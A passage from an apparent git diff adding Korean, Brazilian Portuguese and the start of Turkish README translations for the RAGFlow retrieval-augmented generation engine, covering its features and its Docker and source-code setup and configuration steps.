+- [심층 문서 이해](./deepdoc/README.md)를 기반으로 복잡한 형식의 비정형 데이터에서 지식을 추출합니다.
+- 문자 그대로 무한한 토큰에서 "데이터 속의 바늘"을 찾아냅니다.
+
+### 🍱 **템플릿 기반의 chunking**
+
+- 똑똑하고 설명 가능한 방식.
+- 다양한 템플릿 옵션을 제공합니다.
+
+### 🌱 **할루시네이션을 줄인 신뢰할 수 있는 인용**
+
+- 텍스트 청킹을 시각화하여 사용자가 개입할 수 있도록 합니다.
+- 중요한 참고 자료와 추적 가능한 인용을 빠르게 확인하여 신뢰할 수 있는 답변을 지원합니다.
+
+### 🍔 **다른 종류의 데이터 소스와의 호환성**
+
+- 워드, 슬라이드, 엑셀, 텍스트 파일, 이미지, 스캔본, 구조화된 데이터, 웹 페이지 등을 지원합니다.
+
+### 🛀 **자동화되고 손쉬운 RAG 워크플로우**
+
+- 개인 및 대규모 비즈니스에 맞춘 효율적인 RAG 오케스트레이션.
+- 구성 가능한 LLM 및 임베딩 모델.
+- 다중 검색과 결합된 re-ranking.
+- 비즈니스와 원활하게 통합할 수 있는 직관적인 API.
+
+## 🔎 시스템 아키텍처
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/31b0dd6f-ca4f-445a-9457-70cb44a381b2" width="1000"/>
+</div>
+
+## 🎬 자체 호스팅
+
+### 📝 사전 준비 사항
+
+- CPU >= 4 cores
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- Python >= 3.13
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): RAGFlow의 코드 실행기(샌드박스) 기능을 사용하려는 경우에만 필요합니다.
+
+> [!TIP]
+> 로컬 머신(Windows, Mac, Linux)에 Docker가 설치되지 않은 경우, [Docker 엔진 설치](<(https://docs.docker.com/engine/install/)>)를 참조하세요.
+
+### 🚀 서버 시작하기
+
+1. `vm.max_map_count`가 262144 이상인지 확인하세요:
+
+   > `vm.max_map_count`의 값을 아래 명령어를 통해 확인하세요:
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > 만약 `vm.max_map_count` 이 262144 보다 작다면 값을 쟈설정하세요.
+   >
+   > ```bash
+   > # 이 경우에 262144로 설정했습니다.:
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > 이 변경 사항은 시스템 재부팅 후에 초기화됩니다. 변경 사항을 영구적으로 적용하려면 /etc/sysctl.conf 파일에 vm.max_map_count 값을 추가하거나 업데이트하세요:
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+
+2. 레포지토리를 클론하세요:
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+
+3. 미리 빌드된 Docker 이미지를 생성하고 서버를 시작하세요:
+
+> [!CAUTION]
+> 모든 Docker 이미지는 x86 플랫폼을 위해 빌드되었습니다. 우리는 현재 ARM64 플랫폼을 위한 Docker 이미지를 제공하지 않습니다.
+> ARM64 플랫폼을 사용 중이라면, [시스템과 호환되는 Docker 이미지를 빌드하려면 이 가이드를 사용해 주세요](https://ragflow.io/docs/dev/build_docker_image).
+
+   > 아래 명령어는 RAGFlow Docker 이미지의 v0.26.4 버전을 다운로드합니다. 다양한 RAGFlow 버전에 대한 설명은 다음 표를 참조하십시오. v0.26.4와 다른 RAGFlow 버전을 다운로드하려면, docker/.env 파일에서 RAGFLOW_IMAGE 변수를 적절히 업데이트한 후 docker compose를 사용하여 서버를 시작하십시오.
+
+   ```bash
+   $ cd ragflow/docker
+
+   git checkout v0.26.4
+   # Optional: use a stable tag (see releases: https://github.com/infiniflow/ragflow/releases)
+   # 이 단계는 코드의 entrypoint.sh 파일이 Docker 이미지 버전과 일치하도록 보장합니다.
+
+   # Use CPU for DeepDoc tasks:
+   $ docker compose -f docker-compose.yml up -d
+
+   # To use GPU to accelerate DeepDoc tasks:
+   # sed -i '1i DEVICE=gpu' .env
+   # docker compose -f docker-compose.yml up -d
+```
+
+> 참고: `v0.22.0` 이전 버전에서는 embedding 모델이 포함된 이미지와 embedding 모델이 포함되지 않은 slim 이미지를 모두 제공했습니다. 자세한 내용은 다음과 같습니다:
+
+| RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?        |
+|-------------------|-----------------|-----------------------|----------------|
+| v0.21.1           | &approx;9       | ✔️                    | Stable release |
+| v0.21.1-slim      | &approx;2       | ❌                     | Stable release |
+
+> `v0.22.0`부터는 slim 에디션만 배포하며 이미지 태그에 **-slim** 접미사를 더 이상 붙이지 않습니다.
+
+1. 서버가 시작된 후 서버 상태를 확인하세요:
+
+   ```bash
+   $ docker logs -f docker-ragflow-cpu-1
+   ```
+
+   _다음 출력 결과로 시스템이 성공적으로 시작되었음을 확인합니다:_
+
+   ```bash
+        ____   ___    ______ ______ __
+       / __ \ /   |  / ____// ____// /____  _      __
+      / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+     / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+    /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Running on all addresses (0.0.0.0)
+   ```
+
+   > 만약 확인 단계를 건너뛰고 바로 RAGFlow에 로그인하면, RAGFlow가 완전히 초기화되지 않았기 때문에 브라우저에서 `network abnormal` 오류가 발생할 수 있습니다.
+
+2. 웹 브라우저에 서버의 IP 주소를 입력하고 RAGFlow에 로그인하세요.
+   > 기본 설정을 사용할 경우, `http://IP_OF_YOUR_MACHINE`만 입력하면 됩니다 (포트 번호는 제외). 기본 HTTP 서비스 포트 `80`은 기본 구성으로 사용할 때 생략할 수 있습니다.
+3. [service_conf.yaml.template](./docker/service_conf.yaml.template) 파일에서 원하는 LLM 팩토리를 `user_default_llm`에 선택하고, `API_KEY` 필드를 해당 API 키로 업데이트하세요.
+
+   > 자세한 내용은 [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup)를 참조하세요.
+
+   _이제 쇼가 시작됩니다!_
+
+## 🔧 설정
+
+시스템 설정과 관련하여 다음 파일들을 관리해야 합니다:
+
+- [.env](./docker/.env): `SVR_HTTP_PORT`, `MYSQL_PASSWORD`, `MINIO_PASSWORD`와 같은 시스템의 기본 설정을 포함합니다.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): 백엔드 서비스를 구성합니다.
+- [docker-compose.yml](./docker/docker-compose.yml): 시스템은 [docker-compose.yml](./docker/docker-compose.yml)을 사용하여 시작됩니다.
+
+[.env](./docker/.env) 파일의 변경 사항이 [service_conf.yaml.template](./docker/service_conf.yaml.template) 파일의 내용과 일치하도록 해야 합니다.
+
+> [./docker/README](./docker/README.md) 파일 ./docker/README은 service_conf.yaml.template 파일에서 ${ENV_VARS}로 사용할 수 있는 환경 설정과 서비스 구성에 대한 자세한 설명을 제공합니다.
+
+기본 HTTP 서비스 포트(80)를 업데이트하려면 [docker-compose.yml](./docker/docker-compose.yml) 파일에서 `80:80`을 `<YOUR_SERVING_PORT>:80`으로 변경하세요.
+
+> 모든 시스템 구성 업데이트는 적용되기 위해 시스템 재부팅이 필요합니다.
+>
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### Elasticsearch 에서 Infinity 로 문서 엔진 전환
+
+RAGFlow 는 기본적으로 Elasticsearch 를 사용하여 전체 텍스트 및 벡터를 저장합니다. [Infinity]로 전환(https://github.com/infiniflow/infinity/), 다음 절차를 따르십시오.
+
+1. 실행 중인 모든 컨테이너를 중지합니다.
+   ```bash
+   $docker compose-f docker/docker-compose.yml down -v
+   ```
+   Note: `-v` 는 docker 컨테이너의 볼륨을 삭제하고 기존 데이터를 지우며, 이 작업은 컨테이너를 중지하는 것과 동일합니다.
+2. **docker/.env**의 "DOC_ENGINE" 을 "infinity" 로 설정합니다.
+3. 컨테이너 부팅:
+   ```bash
+   $docker compose-f docker/docker-compose.yml up -d
+   ```
+   > [!WARNING]
+   > Linux/arm64 시스템에서 Infinity로 전환하는 것은 공식적으로 지원되지 않습니다.
+
+## 🔧 소스 코드로 Docker 이미지를 컴파일합니다
+
+이 Docker 이미지의 크기는 약 1GB이며, 외부 대형 모델과 임베딩 서비스에 의존합니다.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+프록시 환경인 경우, 프록시 인수를 전달할 수 있습니다：
+
+```bash
+docker build --platform linux/amd64 \
+  --build-arg http_proxy=http://YOUR_PROXY:PORT \
+  --build-arg https_proxy=http://YOUR_PROXY:PORT \
+  -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 소스 코드로 서비스를 시작합니다.
+
+1. `uv` 와 `pre-commit` 을 설치하거나, 이미 설치된 경우 이 단계를 건너뜁니다:
+
+   ```bash
+   pipx install uv
+   ```
+
+2. 소스 코드를 클론하고 Python 의존성을 설치합니다:
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.13 # install RAGFlow dependent python modules
+   uv run python3 ragflow_deps/download_deps.py
+   lefthook install
+   ```
+
+3. Docker Compose를 사용하여 의존 서비스(MinIO, Elasticsearch, Redis 및 MySQL)를 시작합니다:
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   `/etc/hosts` 에 다음 줄을 추가하여 **conf/service_conf.yaml** 에 지정된 모든 호스트를 `127.0.0.1` 로 해결합니다:
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis sandbox-executor-manager
+   ```
+
+4. HuggingFace에 접근할 수 없는 경우, `HF_ENDPOINT` 환경 변수를 설정하여 미러 사이트를 사용하세요:
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+
+5. 만약 운영 체제에 jemalloc이 없으면 다음 방식으로 설치하세요:
+
+   ```bash
+   # ubuntu
+   sudo apt-get install libjemalloc-dev
+   # centos
+   sudo yum install jemalloc
+   # mac
+   sudo brew install jemalloc
+   ```
+
+6. 백엔드 서비스를 시작합니다:
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+
+7. 프론트엔드 의존성을 설치합니다:
+
+   ```bash
+   cd web
+   npm install
+   ```
+
+8. 프론트엔드 서비스를 시작합니다:
+
+   ```bash
+   npm run dev
+   ```
+
+   _다음 인터페이스는 시스템이 성공적으로 시작되었음을 나타냅니다:_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+
+
+9. 개발이 완료된 후 RAGFlow 프론트엔드 및 백엔드 서비스를 중지합니다.
+
+   ```bash
+   pkill -f "ragflow_server.py|task_executor.py"
+   ```
+
+
+## 📚 문서
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/category/user-guides)
+- [Developer guides](https://ragflow.io/docs/category/developer-guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 로드맵
+
+[RAGFlow 로드맵 2026](https://github.com/infiniflow/ragflow/issues/12241)을 확인하세요.
+
+## 🏄 커뮤니티
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [X](https://x.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 컨트리뷰션
+
+RAGFlow는 오픈소스 협업을 통해 발전합니다. 이러한 정신을 바탕으로, 우리는 커뮤니티의 다양한 기여를 환영합니다. 참여하고 싶으시다면, 먼저 [가이드라인](https://ragflow.io/docs/dev/contributing)을 검토해 주세요.

README_pt_br.md

@@ -0,0 +1,402 @@
+<div align="center">
+<a href="https://cloud.ragflow.io/">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow/main/web/src/assets/logo-with-text.svg" width="520" alt="ragflow logo">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體版中文自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_fr.md"><img alt="README en Français" src="https://img.shields.io/badge/Français-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DBEDFA"></a>
+  <a href="./README_ar.md"><img alt="README in Arabic" src="https://img.shields.io/badge/Arabic-DFE0E5"></a>
+  <a href="./README_tr.md"><img alt="Türkçe README" src="https://img.shields.io/badge/Türkçe-DFE0E5"></a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="seguir no X(Twitter)">
+    </a>
+    <a href="https://cloud.ragflow.io" target="_blank">
+        <img alt="Badge Estático" src="https://img.shields.io/badge/Get-Started-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/infiniflow/ragflow-stats/main/badges/docker-pulls.json&style=flat-square&logo=docker&logoColor=white" alt="docker pull infiniflow/ragflow:v0.26.4">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=%C3%9Altima%20Release" alt="Última Release">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="licença">
+    </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://cloud.ragflow.io">Cloud</a> |
+  <a href="https://ragflow.io/docs/dev/">Documentação</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/12241">Roadmap</a> |
+  <a href="https://discord.gg/NjYzJD3GM3">Discord</a>
+</h4>
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/ragflow-octoverse.png" width="1200"/>
+</div>
+
+<div align="center">
+<a href="https://trendshift.io/repositories/9064" target="_blank"><img src="https://trendshift.io/api/badge/repositories/9064" alt="infiniflow%2Fragflow | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
+</div>
+
+<details open>
+<summary><b>📕 Índice</b></summary>
+
+- 💡 [O que é o RAGFlow?](#-o-que-é-o-ragflow)
+- 🎮 [Primeiros Passos](#-primeiros-passos)
+- 📌 [Últimas Atualizações](#-últimas-atualizações)
+- 🌟 [Principais Funcionalidades](#-principais-funcionalidades)
+- 🔎 [Arquitetura do Sistema](#-arquitetura-do-sistema)
+- 🎬 [Auto-hospedagem](#-auto-hospedagem)
+- 🔧 [Configurações](#-configurações)
+- 🔧 [Construir uma imagem docker sem incorporar modelos](#-construir-uma-imagem-docker-sem-incorporar-modelos)
+- 🔧 [Construir uma imagem docker incluindo modelos](#-construir-uma-imagem-docker-incluindo-modelos)
+- 🔨 [Lançar serviço a partir do código-fonte para desenvolvimento](#-lançar-serviço-a-partir-do-código-fonte-para-desenvolvimento)
+- 📚 [Documentação](#-documentação)
+- 📜 [Roadmap](#-roadmap)
+- 🏄 [Comunidade](#-comunidade)
+- 🙌 [Contribuindo](#-contribuindo)
+
+</details>
+
+## 💡 O que é o RAGFlow?
+
+[RAGFlow](https://ragflow.io/) é um mecanismo de [RAG](https://ragflow.io/basics/what-is-rag) (Retrieval-Augmented Generation) open-source líder que fusiona tecnologias RAG de ponta com funcionalidades Agent para criar uma camada contextual superior para LLMs. Oferece um fluxo de trabalho RAG otimizado adaptável a empresas de qualquer escala. Alimentado por [um motor de contexto](https://ragflow.io/basics/what-is-agent-context-engine) convergente e modelos Agent pré-construídos, o RAGFlow permite que desenvolvedores transformem dados complexos em sistemas de IA de alta fidelidade e pronto para produção com excepcional eficiência e precisão.
+
+## 🎮 Primeiros Passos
+
+Experimente o nosso serviço na nuvem em [https://cloud.ragflow.io](https://cloud.ragflow.io).
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
+</div>
+
+## 🔥 Últimas Atualizações
+
+- 15-06-2026 Suporte a múltiplos canais de chat, como Feishu, Discord, Telegram, Line, etc..
+- 24-04-2026 Suporta DeepSeek v4.
+- 24-03-2026 [RAGFlow Skill on OpenClaw](https://clawhub.ai/yingfeng/ragflow-skill) — Fornece um skill oficial para acessar datasets do RAGFlow via OpenClaw.
+- 26-12-2025 Suporte à função 'Memória' para agentes de IA.
+- 19-11-2025 Suporta Gemini 3 Pro.
+- 12-11-2025 Suporta a sincronização de dados do Confluence, S3, Notion, Discord e Google Drive.
+- 23-10-2025 Suporta MinerU e Docling como métodos de análise de documentos.
+- 15-10-2025 Suporte para pipelines de dados orquestrados.
+- 08-08-2025 Suporta a mais recente série GPT-5 da OpenAI.
+- 01-08-2025 Suporta fluxo de trabalho agente e MCP.
+- 23-05-2025 Adicione o componente executor de código Python/JS ao Agente.
+- 19-03-2025 Suporta o uso de um modelo multi-modal para entender imagens dentro de arquivos PDF ou DOCX.
+
+## 🎉 Fique Ligado
+
+⭐️ Dê uma estrela no nosso repositório para se manter atualizado com novas funcionalidades e melhorias empolgantes! Receba notificações instantâneas sobre novos lançamentos! 🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 Principais Funcionalidades
+
+### 🍭 **"Qualidade entra, qualidade sai"**
+
+- Extração de conhecimento baseada em [entendimento profundo de documentos](./deepdoc/README.md) a partir de dados não estruturados com formatos complicados.
+- Encontra a "agulha no palheiro de dados" de literalmente tokens ilimitados.
+
+### 🍱 **Fragmentação baseada em templates**
+
+- Inteligente e explicável.
+- Muitas opções de templates para escolher.
+
+### 🌱 **Citações fundamentadas com menos alucinações**
+
+- Visualização da fragmentação de texto para permitir intervenção humana.
+- Visualização rápida das referências chave e citações rastreáveis para apoiar respostas fundamentadas.
+
+### 🍔 **Compatibilidade com fontes de dados heterogêneas**
+
+- Suporta Word, apresentações, excel, txt, imagens, cópias digitalizadas, dados estruturados, páginas da web e mais.
+
+### 🛀 **Fluxo de trabalho RAG automatizado e sem esforço**
+
+- Orquestração RAG simplificada voltada tanto para negócios pessoais quanto grandes empresas.
+- Modelos LLM e de incorporação configuráveis.
+- Múltiplas recuperações emparelhadas com reclassificação fundida.
+- APIs intuitivas para integração sem problemas com os negócios.
+
+## 🔎 Arquitetura do Sistema
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/31b0dd6f-ca4f-445a-9457-70cb44a381b2" width="1000"/>
+</div>
+
+## 🎬 Auto-hospedagem
+
+### 📝 Pré-requisitos
+
+- CPU >= 4 núcleos
+- RAM >= 16 GB
+- Disco >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- Python >= 3.13
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): Necessário apenas se você pretende usar o recurso de executor de código (sandbox) do RAGFlow.
+
+> [!TIP]
+> Se você não instalou o Docker na sua máquina local (Windows, Mac ou Linux), veja [Instalar Docker Engine](https://docs.docker.com/engine/install/).
+
+### 🚀 Iniciar o servidor
+
+1. Certifique-se de que `vm.max_map_count` >= 262144:
+
+   > Para verificar o valor de `vm.max_map_count`:
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > Se necessário, redefina `vm.max_map_count` para um valor de pelo menos 262144:
+   >
+   > ```bash
+   > # Neste caso, defina para 262144:
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > Essa mudança será resetada após a reinicialização do sistema. Para garantir que a alteração permaneça permanente, adicione ou atualize o valor de `vm.max_map_count` em **/etc/sysctl.conf**:
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+   >
+2. Clone o repositório:
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+3. Inicie o servidor usando as imagens Docker pré-compiladas:
+
+> [!CAUTION]
+> Todas as imagens Docker são construídas para plataformas x86. Atualmente, não oferecemos imagens Docker para ARM64.
+> Se você estiver usando uma plataforma ARM64, por favor, utilize [este guia](https://ragflow.io/docs/dev/build_docker_image) para construir uma imagem Docker compatível com o seu sistema.
+
+    > O comando abaixo baixa a edição`v0.26.4` da imagem Docker do RAGFlow. Consulte a tabela a seguir para descrições de diferentes edições do RAGFlow. Para baixar uma edição do RAGFlow diferente da `v0.26.4`, atualize a variável `RAGFLOW_IMAGE` conforme necessário no **docker/.env** antes de usar `docker compose` para iniciar o servidor.
+
+```bash
+   $ cd ragflow/docker
+
+   git checkout v0.26.4
+   # Opcional: use uma tag estável (veja releases: https://github.com/infiniflow/ragflow/releases)
+   # Esta etapa garante que o arquivo entrypoint.sh no código corresponda à versão da imagem do Docker.
+
+   # Use CPU for DeepDoc tasks:
+   $ docker compose -f docker-compose.yml up -d
+
+   # To use GPU to accelerate DeepDoc tasks:
+   # sed -i '1i DEVICE=gpu' .env
+   # docker compose -f docker-compose.yml up -d
+```
+
+> Nota: Antes da `v0.22.0`, fornecíamos imagens com modelos de embedding e imagens slim sem modelos de embedding. Detalhes a seguir:
+
+| RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?        |
+|-------------------|-----------------|-----------------------|----------------|
+| v0.21.1           | &approx;9       | ✔️                    | Stable release |
+| v0.21.1-slim      | &approx;2       | ❌                     | Stable release |
+
+> A partir da `v0.22.0`, distribuímos apenas a edição slim e não adicionamos mais o sufixo **-slim** às tags das imagens.
+
+4. Verifique o status do servidor após tê-lo iniciado:
+
+   ```bash
+   $ docker logs -f docker-ragflow-cpu-1
+   ```
+
+   _O seguinte resultado confirma o lançamento bem-sucedido do sistema:_
+
+   ```bash
+        ____   ___    ______ ______ __
+       / __ \ /   |  / ____// ____// /____  _      __
+      / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+     / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+    /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Rodando em todos os endereços (0.0.0.0)
+   ```
+
+   > Se você pular essa etapa de confirmação e acessar diretamente o RAGFlow, seu navegador pode exibir um erro `network abnormal`, pois, nesse momento, seu RAGFlow pode não estar totalmente inicializado.
+   >
+5. No seu navegador, insira o endereço IP do seu servidor e faça login no RAGFlow.
+
+   > Com as configurações padrão, você só precisa digitar `http://IP_DO_SEU_MÁQUINA` (**sem** o número da porta), pois a porta HTTP padrão `80` pode ser omitida ao usar as configurações padrão.
+   >
+6. Em [service_conf.yaml.template](./docker/service_conf.yaml.template), selecione a fábrica LLM desejada em `user_default_llm` e atualize o campo `API_KEY` com a chave de API correspondente.
+
+   > Consulte [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) para mais informações.
+   >
+
+_O show está no ar!_
+
+## 🔧 Configurações
+
+Quando se trata de configurações do sistema, você precisará gerenciar os seguintes arquivos:
+
+- [.env](./docker/.env): Contém as configurações fundamentais para o sistema, como `SVR_HTTP_PORT`, `MYSQL_PASSWORD` e `MINIO_PASSWORD`.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): Configura os serviços de back-end. As variáveis de ambiente neste arquivo serão automaticamente preenchidas quando o contêiner Docker for iniciado. Quaisquer variáveis de ambiente definidas dentro do contêiner Docker estarão disponíveis para uso, permitindo personalizar o comportamento do serviço com base no ambiente de implantação.
+- [docker-compose.yml](./docker/docker-compose.yml): O sistema depende do [docker-compose.yml](./docker/docker-compose.yml) para iniciar.
+
+> O arquivo [./docker/README](./docker/README.md) fornece uma descrição detalhada das configurações do ambiente e dos serviços, que podem ser usadas como `${ENV_VARS}` no arquivo [service_conf.yaml.template](./docker/service_conf.yaml.template).
+
+Para atualizar a porta HTTP de serviço padrão (80), vá até [docker-compose.yml](./docker/docker-compose.yml) e altere `80:80` para `<SUA_PORTA_DE_SERVIÇO>:80`.
+
+Atualizações nas configurações acima exigem um reinício de todos os contêineres para que tenham efeito:
+
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### Mudar o mecanismo de documentos de Elasticsearch para Infinity
+
+O RAGFlow usa o Elasticsearch por padrão para armazenar texto completo e vetores. Para mudar para o [Infinity](https://github.com/infiniflow/infinity/), siga estas etapas:
+
+1. Pare todos os contêineres em execução:
+
+   ```bash
+   $ docker compose -f docker/docker-compose.yml down -v
+   ```
+
+   Note: `-v` irá deletar os volumes do contêiner, e os dados existentes serão apagados.
+2. Defina `DOC_ENGINE` no **docker/.env** para `infinity`.
+3. Inicie os contêineres:
+
+   ```bash
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+> [!ATENÇÃO]
+ > A mudança para o Infinity em uma máquina Linux/arm64 ainda não é oficialmente suportada.
+
+## 🔧 Criar uma imagem Docker
+
+Esta imagem tem cerca de 2 GB de tamanho e depende de serviços externos de LLM e incorporação.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+Se você estiver atrás de um proxy, pode passar argumentos de proxy:
+
+```bash
+docker build --platform linux/amd64 \
+  --build-arg http_proxy=http://YOUR_PROXY:PORT \
+  --build-arg https_proxy=http://YOUR_PROXY:PORT \
+  -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 Lançar o serviço a partir do código-fonte para desenvolvimento
+
+1. Instale o `uv` e o `pre-commit`, ou pule esta etapa se eles já estiverem instalados:
+
+   ```bash
+   pipx install uv
+   ```
+2. Clone o código-fonte e instale as dependências Python:
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.13 # instala os módulos Python dependentes do RAGFlow
+   uv run python3 ragflow_deps/download_deps.py
+   lefthook install
+   ```
+3. Inicie os serviços dependentes (MinIO, Elasticsearch, Redis e MySQL) usando Docker Compose:
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   Adicione a seguinte linha ao arquivo `/etc/hosts` para resolver todos os hosts especificados em **docker/.env** para `127.0.0.1`:
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis sandbox-executor-manager
+   ```
+4. Se não conseguir acessar o HuggingFace, defina a variável de ambiente `HF_ENDPOINT` para usar um site espelho:
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+5. Se o seu sistema operacional não tiver jemalloc, instale-o da seguinte maneira:
+
+   ```bash
+   # ubuntu
+   sudo apt-get install libjemalloc-dev
+   # centos
+   sudo yum instalar jemalloc
+   # mac
+   sudo brew install jemalloc
+   ```
+6. Lance o serviço de back-end:
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+7. Instale as dependências do front-end:
+
+   ```bash
+   cd web
+   npm install
+   ```
+8. Lance o serviço de front-end:
+
+   ```bash
+   npm run dev
+   ```
+
+   _O seguinte resultado confirma o lançamento bem-sucedido do sistema:_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+9. Pare os serviços de front-end e back-end do RAGFlow após a conclusão do desenvolvimento:
+
+   ```bash
+   pkill -f "ragflow_server.py|task_executor.py"
+   ```
+
+## 📚 Documentação
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/category/user-guides)
+- [Developer guides](https://ragflow.io/docs/category/developer-guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 Roadmap
+
+Veja o [RAGFlow Roadmap 2026](https://github.com/infiniflow/ragflow/issues/12241)
+
+## 🏄 Comunidade
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [X](https://x.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 Contribuindo
+
+O RAGFlow prospera por meio da colaboração de código aberto. Com esse espírito, abraçamos contribuições diversas da comunidade.
+Se você deseja fazer parte, primeiro revise nossas [Diretrizes de Contribuição](https://ragflow.io/docs/dev/contributing).

README_tr.md

@@ -0,0 +1,410 @@
+<div align="center">
+<a href="https://cloud.ragflow.io/">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow/main/web/src/assets/logo-with-text.svg" width="520" alt="ragflow logo">
+</a>
+</div>
+
+<p align="center">
